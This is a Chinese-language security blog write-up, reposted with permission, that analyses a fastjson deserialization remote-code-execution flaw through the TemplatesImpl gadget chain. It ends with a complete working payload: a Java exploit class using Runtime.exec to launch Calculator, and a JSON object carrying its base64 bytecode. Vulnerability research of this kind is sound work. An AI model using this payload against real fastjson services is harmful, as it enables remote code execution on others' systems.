Author:ricterzheng[email protected]
本文已征求作者同意,未经允许不得转载!
0x00
fastjson 日前爆了一个反序列化导致 RCE 的漏洞,但是网上没有流传的 exploit。今天 @廖新喜1 发了一张截图,隐约透露出的内容是利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
来执行命令。我当时菊花一紧,这不就是我最开始看 ysoserial
的时候的那个执行链吗。奈何太菜,调试不出来。
不过既然 dalao 都已经调试出来了,那么肯定用这个没错了。打了一把 CS:GO(Steam:ricter_z)后操起 IDEA 开始调试。
因为对 Java 人生地不熟,更别说什么 TemplatesImpl
了。首先看一下 TemplatesImpl
的源码,没看出什么来。总之先按照截图慢慢凑一下 payload 吧。
...
于是终于凑出来了。紧接着单步调试跟了一下 fastjson 解析流程,终于搞明白原理了。
我好菜啊.jpg
0x01 fastjson 的特性
对于 byte[] 的 base64 decode
对于 byte[] 类型的成员变量,在 deserialze
的时候会调用 lexer.bytesValue
:
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { JSONLexer lexer = parser.lexer; if(lexer.token() == 8) { lexer.nextToken(16); return null; } else if(lexer.token() == 4) { byte[] bytes = lexer.bytesValue(); lexer.nextToken(16); return bytes;
bytesValue
方法为:
public byte[] bytesValue() { return IOUtils.decodeBase64(this.text, this.np + 1, this.sp); }
private 成员变量的处理
对于一个 Class:
class ModelTest { public String field1; public int field2; private String field3; private int field4; public String getField3() { return field3; } public void setField3(String s) { field3 = s; } }
在默认情况下,fastjson 会把一些符合条件的方法和字段加到字段列表里。
- field1,public 的成员变量
- field2同上
- field3,存在 getField3/setField3 方法
fastjson 判断 field3 的条件如下:
methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))
并且:
methodName.startsWith("set")
对于 field4,在设置了 SupportNonPublicField
后,也会支持解析。具体可以查看 Wiki:https://github.com/alibaba/fastjson/wiki/Feature_SupportNonPublicField_cn。
对于有 getter
没有 setter
的变量,fastjson 会在 JavaBeanInfo.class
的第 459 行处理(版本不同可能有偏差):
methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && ( Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType() )
关注括号里的几个判断,需要满足 X.class.isAssignableFrom(method.getReturnType())
才可以进入 if 语句
关键点来了:在 TemplatesImpl.java
中,getOutputProperties
方法返回类型是 Properties
,而 Properties extends Hashtable<>
,Hashtable
又 implements Map
,所以可以通过这个判断。
0x02 漏洞触发原理
_outputProperties
触发 getOutputProperties
方法调用
我一直很疑惑,为什么 _outputProperties
会使得 getOutputProperties
被调用呢?于是我深入的单步了一下,发现 fastjson 有一个神奇的 smartMatch
方法:
public FieldDeserializer smartMatch(String key) { if(key == null) { return null; } else { FieldDeserializer fieldDeserializer = this.getFieldDeserializer(key); boolean snakeOrkebab; int i; int var6; if(fieldDeserializer == null) { snakeOrkebab = key.startsWith("is"); FieldDeserializer[] var4 = this.sortedFieldDeserializers; i = var4.length; ... } if(fieldDeserializer == null) { snakeOrkebab = false; String key2 = null; for(i = 0; i < key.length(); ++i) { char ch = key.charAt(i); if(ch == 95) { snakeOrkebab = true; // 这里把下划线替换掉了,所以可以匹配 key2 = key.replaceAll("_", ""); break; } if(ch == 45) { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; } }
匹配完成后,返回了一个 FieldDeserializer
对象,接着下面的代码调用此处:
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
parseField
调用了 setValue
public void setValue(Object object, Object value) { if(value != null || !this.fieldInfo.fieldClass.isPrimitive()) { try { Method method = this.fieldInfo.method; if(method != null) { if(this.fieldInfo.getOnly) { if(this.fieldInfo.fieldClass == AtomicInteger.class) { .. } else if(Map.class.isAssignableFrom(method.getReturnType())) { Map map = (Map)method.invoke(object, new Object[0]);
这里 method 就是 getOutputProperties
方法了。
通过 getOutputProperties
方法,我们可以构造一个 exploit 类来进行攻击。
调用链
TemplatesImpl.java
的 getOutputProperties
函数为:
public synchronized Properties getOutputProperties() { try { // 调用 newTransformer return newTransformer().getOutputProperties();
接着 newTransformer
函数调用了 getTransletInstance
:
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; // 调用 getTransletInstance transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
getTransletInstance
调用:
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them // 这里实例化了 _class[_transletIndex] AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
所以编写一个继承自 AbstractTranslet
类的类后,在构造器执行代码即可。
0x03 从 0 开始的构造 exploit
TemplatesImpl.java
构造 gadgets
TemplatesImpl.java
的 defineTransletClasses
中,通过 for 循环取出 _bytecodes
中的值,接着调用 loader.defineClass
来定义类。
private void defineTransletClasses() throws TransformerConfigurationException { ... try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);
接着,会判断这个类的超类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类,如果是,把 i 赋给 _transletIndex
。
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); }
接着通过上述的调用链:
getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()
来实例化 exploit 类。
构造 exploit
根据以上内容,我们需要构造的 exploit 应满足如下条件:
合法的 TemplatesImpl
合法的 _bytecodes
,可以正确解析成类
类需要继承自 AbstractTranslet
,构造器中存放执行命令的内容
首先利用 @type 声明一个 TemplatesImpl
:
{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [], "_name": "a"}
同时根据源代码,我们还要构造一个 _tfactory
加到上面的 JSON 里:
"_tfactory": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"}
为了触发漏洞点,我们还需要设置 _outputProperties。
"_outputProperties": {"@type": "java.util.Properties"}
接着构造 _bytecodes
。由于我们知道 fastjson 会帮助我们解码 base64
,所以构造好直接 base64
编码然后填入 _bytecodes
即可。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Exp extends AbstractTranslet { public Exp() { try { Runtime.getRuntime().exec("open /Applications/Calculator.app"); } catch (IOException e) {} } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
最终 payload 为(注意,这里是 Java 1.8,如果是 1.6 版本的话需要在 1.6 下编译 Exp 类,再写入 _bytecodes
):
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [ "yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAbTG1haW4vamF2YS9jb20vUmljdGVyWi9FeHA7AQANU3RhY2tNYXBUYWJsZQcAJwcAJgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwApAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAIRXhwLmphdmEMAAgACQcAKgwAKwAsAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAtAC4BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAZbWFpbi9qYXZhL2NvbS9SaWN0ZXJaL0V4cAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAADgAEABAADQATABAAEQARABQADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAEAEgATAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAYAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAFgAXAAIAGAAAAAQAAQAZAAEAEgAaAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAdAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAUABUAAQAAAAEAGwAcAAIAAAABAB0AHgADABgAAAAEAAEAGQABAB8AAAACACA=" ], "_name": "a", "_tfactory": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" }, "_outputProperties": { "@type": "java.util.Properties" } }
效果:
0x04 总结
说是个 RCE,但是利用起来环境却很苛刻。如果需要利用的话,对于 JSON 的处理函数应该为:
JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);
但是大多数人都是直接 JSON.parse
一把梭,设置 Feature.SupportNonPublicField
的人少之又少,影响面会变小很多。
其他也没有什么好说的,再次感谢 @廖新喜1,如果不是那张截图我仍然还在把 fastjson 这事儿扔在 TODO 里吧(。
另外,总感觉利用 TemplatesImpl
这个真的是很多巧合的结合才会成功。
首先是 fastjson 的限制,然而 getOutputProperties
的返回值类型是 Properties
。如果没有这一点,这个调用链也连接不起来。
其次,由于 fastjson 的 smartMatch
,我们才会通过 _outputProperties
去触发 getOutputProperties
。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论